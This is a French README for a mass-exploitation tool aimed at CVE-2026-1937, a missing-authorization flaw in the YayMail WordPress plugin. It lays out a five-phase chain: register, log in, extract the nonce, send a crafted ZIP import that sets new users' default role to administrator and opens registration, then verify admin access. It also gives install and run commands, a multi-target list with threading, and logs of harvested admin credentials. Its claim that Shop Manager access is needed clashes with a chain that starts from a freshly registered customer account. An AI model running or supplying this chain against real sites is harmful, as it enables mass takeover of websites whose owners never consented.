
YayMail <= 4.3.2 - Autorisation manquante pour la mise à jour arbitraire d'options par les utilisateurs authentifiés (Shop Manager+) via l'action AJAX 'yaymail_import_state'
Description :
Le plugin YayMail – WooCommerce Email Customizer pour WordPress est vulnérable à une modification non autorisée des données conduisant à une élévation de privilèges dans toutes les versions jusqu'à la 4.3.2 incluse. L'action AJAX yaymail_import_state est enregistrée sans aucune vérification de capacités côté serveur, ce qui permet à des attaquants authentifiés disposant d'un accès de niveau Shop Manager ou supérieur de l'invoquer librement. En téléversant un fichier d'importation ZIP spécialement conçu, l'attaquant peut silencieusement écraser des options arbitraires du site WordPress — notamment en définissant le rôle d'inscription par défaut des nouveaux utilisateurs sur administrator et en activant l'inscription publique ouverte. Une fois ces options injectées, n'importe quel visiteur peut s'inscrire lui-même sur le site et recevoir un compte Administrateur WordPress complet, ce qui aboutit à une compromission totale du site.
Il s'agit d'une chaîne d'exploitation de masse Proof-of-Concept (PoC) ciblant les installations WordPress + WooCommerce exécutant une version vulnérable du plugin YayMail. L'outil implémente une attaque complète de bout en bout : inscription WooCommerce → connexion → extraction du nonce YayMail → exploitation de yaymail_import_state → vérification de l'administrateur.
[Phase 1 — Registration]
GET /my-account/ → Extract WooCommerce register nonce
POST /my-account/ → Register new account (WooCommerce form)
→ Save credentials to reg.txt
↓
[Phase 2 — Login]
POST /wp-login.php → Try WordPress native login
POST /my-account/ (WooC.) → Fallback WooCommerce login
→ Establish authenticated session
↓
[Phase 3 — Admin Pre-check]
GET /wp-admin/ → If already admin, skip to result
↓
[Phase 4 — YayMail Exploit]
GET /wp-admin/admin.php?page=yaymail-settings
→ Extract: ajax_url + nonce
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_nonce>
import_file=yaymail_backup.zip
→ Override WordPress options:
· default_role = administrator
· users_can_register = 1
↓
[Phase 5 — Admin Verification]
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com user:<u> pass:<p>
yaymail_backup.zip — charge utile d'importation spécialement conçue (requise)pip install requests urllib3 rich
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1937.git
cd CVE-2026-1937
# Install dependencies
pip install -r requirements.txt
# Place your crafted import payload in the same directory
cp /path/to/yaymail_backup.zip .
# Run the tool
python3 CVE-2026-1937.py
python3 CVE-2026-1937.py
L'outil utilise une interface terminal entièrement interactive propulsée par Rich.
Créez un fichier texte brut (par défaut : list.txt) — une cible par ligne :
https://target1.com
https://target2.com
http://target3.com
target4.com
Les cibles sans
http://ouhttps://sont automatiquement préfixées parhttps://.
Username [Nx_admin]: Nx_admin
Password [Nx_adminSA]: Nx_adminSA
Email [[email protected]]: [email protected]
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
yaymail_backup.zipL'exploit nécessite un fichier ZIP d'importation YayMail spécialement conçu qui écrase les options WordPress suivantes lors de l'importation :
| Option WordPress | Valeur injectée |
|---|---|
default_role | administrator |
users_can_register | 1 |
⚠️ L'outil refusera de s'exécuter si
yaymail_backup.zipn'est pas présent dans le répertoire de travail.
POST /wp-admin/admin-ajax.php
action=yaymail_import_state
nonce=<extracted_from_yaymail_settings_page>
import_file=yaymail_backup.zip (multipart upload)
Cause racine :
Le gestionnaire yaymail_import_state n'appelle pas current_user_can() ni aucune vérification de capacités équivalente avant de traiter l'importation. Tout utilisateur disposant du rôle shop_manager (ou supérieur) peut invoquer librement cette action et écraser des entrées arbitraires de la table wp_options via le mécanisme d'importation ZIP.
L'outil analyse automatiquement les chemins suivants pour trouver les formulaires d'inscription et de connexion :
/my-account/ /my_account/ /My-account/
/account/ /myaccount/ /customer-login/
/login/ /register/ /sss/
| Fichier | Description |
|---|---|
reg.txt | Toutes les inscriptions WooCommerce réussies avec identifiants |
Nx_admin.txt | Toutes les élévations administrateur confirmées |
reg.txt :
[2026-03-01 14:22:10] https://target.com user:Nx_admin email:[email protected] pass:Nx_adminSA
Nx_admin.txt :
[2026-03-01 14:22:18] https://target.com user:Nx_admin pass:Nx_adminSA | yaymail import
╔══════════════════════════════════════════════════════════════════╗
║ WooCommerce · YayMail · Mass Exploit Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCAN] https://target.com
[REGISTERED] https://target.com :: user: Nx_admin pass: Nx_adminSA
[LOGIN-WP] https://target.com :: wp-login.php
[SEARCH-NONCE] https://target.com :: not admin, trying YayMail chain
[NONCE-FOUND] https://target.com :: nonce: a1b2c3d4e5
[EXPLOIT] https://target.com :: nonce: a1b2c3d4e5
[SUCCESS] https://target.com :: user: Nx_admin pass: Nx_adminSA
┌──────────────────────────────────────���───────────────────────────────────┐
│ Target │ Status │ Credentials / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ EXPLOITED (ADMIN VERIFIED) │ user: Nx_admin … │
│ https://target2.com │ NO-REGISTER │ │
│ https://target3.com │ DEAD │ │
└──────────────────────────────────────────────────────────────────────────┘
Par : Nxploited (Khaled Alenazi)
CET OUTIL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ AUTORISÉE.
L'auteur, Nxploited (Khaled Alenazi), et tous les contributeurs de ce projet n'approuvent pas, ne soutiennent pas et n'assument aucune responsabilité en cas d'utilisation abusive de cet outil ou de tout dommage causé par l'utilisation de ce logiciel contre des systèmes pour lesquels vous ne disposez pas d'une autorisation écrite explicite.
- ✅ Autorisé : l'utilisation sur des systèmes que vous possédez ou pour lesquels vous avez reçu une autorisation écrite explicite de tester.
- ❌ Interdit : l'utilisation contre tout système sans autorisation écrite explicite préalable du propriétaire du système.
L'accès non autorisé à des systèmes informatiques est illégal et punissable en vertu des lois applicables, notamment, sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act (CMA) et les législations équivalentes dans le monde entier.
En utilisant cet outil, vous acceptez l'entière et unique responsabilité de vos actes et confirmez que vous disposez de l'autorité légale pour tester les systèmes ciblés.
L'auteur décline toute responsabilité, qu'elle soit directe, indirecte, accessoire ou consécutive, découlant de l'utilisation ou de la mauvaise utilisation de ce logiciel.
© 2026 Nxploited (Khaled Alenazi) — Réservé à la recherche en sécurité autorisée.
| Champ | Détails |
|---|
| CVE ID | CVE-2026-1937 |
| Sévérité | ÉLEVÉE — Score CVSS v3.1 : 7.2 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Chercheur | Daniel Basta (whizzu) — NASK PIB |
| Publication publique | 17 février 2026 |
| Dernière mise à jour | 27 mars 2026 |
| Logiciel concerné | YayMail – WooCommerce Email Customizer, plugin de personnalisation d'e-mails pour WordPress |
| Versions concernées | Toutes les versions jusqu'à la 4.3.2 incluse |
| Type de vulnérabilité | Autorisation manquante → Mise à jour arbitraire non autorisée des options → Élévation de privilèges |
| Authentification requise | Oui — niveau Shop Manager ou supérieur |
| CWE | CWE-862: Missing Authorization |
| Statut | Couleur | Signification |
|---|
EXPLOITED (ADMIN VERIFIED) | 🟢 Vert | Succès complet de la chaîne — administrateur confirmé |
EXPLOITED (ADMIN) | 🟢 Vert | L'utilisateur enregistré était déjà administrateur |
PARTIAL | 🟡 Jaune | L'importation YayMail a réussi mais l'accès administrateur n'est pas confirmé |
REGISTERED | 🟡 Jaune | L'inscription WooCommerce a réussi |
LOGIN-WP | 🔵 Cyan | Connecté via /wp-login.php |
LOGIN-WOO | 🔵 Cyan | Connecté via le formulaire WooCommerce |
NONCE-FOUND | 🟣 Magenta | Nonce YayMail extrait avec succès |
NO-REGISTER | ⚫ Sombre | Formulaire d'inscription WooCommerce introuvable |
LOGIN-FAILED | ⚫ Sombre | Impossible d'établir une session authentifiée |
NONCE-NOT-FOUND | ⚫ Sombre | Page de paramètres YayMail inaccessible ou nonce manquant |
EXPLOIT-FAILED | 🔴 Rouge | L'appel yaymail_import_state n'a pas renvoyé de succès |
TIMEOUT | ⚫ Sombre | Délai d'attente HTTP dépassé |
DEAD | ⚫ Sombre | Connexion refusée / injoignable |
ERROR | 🔴 Rouge | Exception inattendue |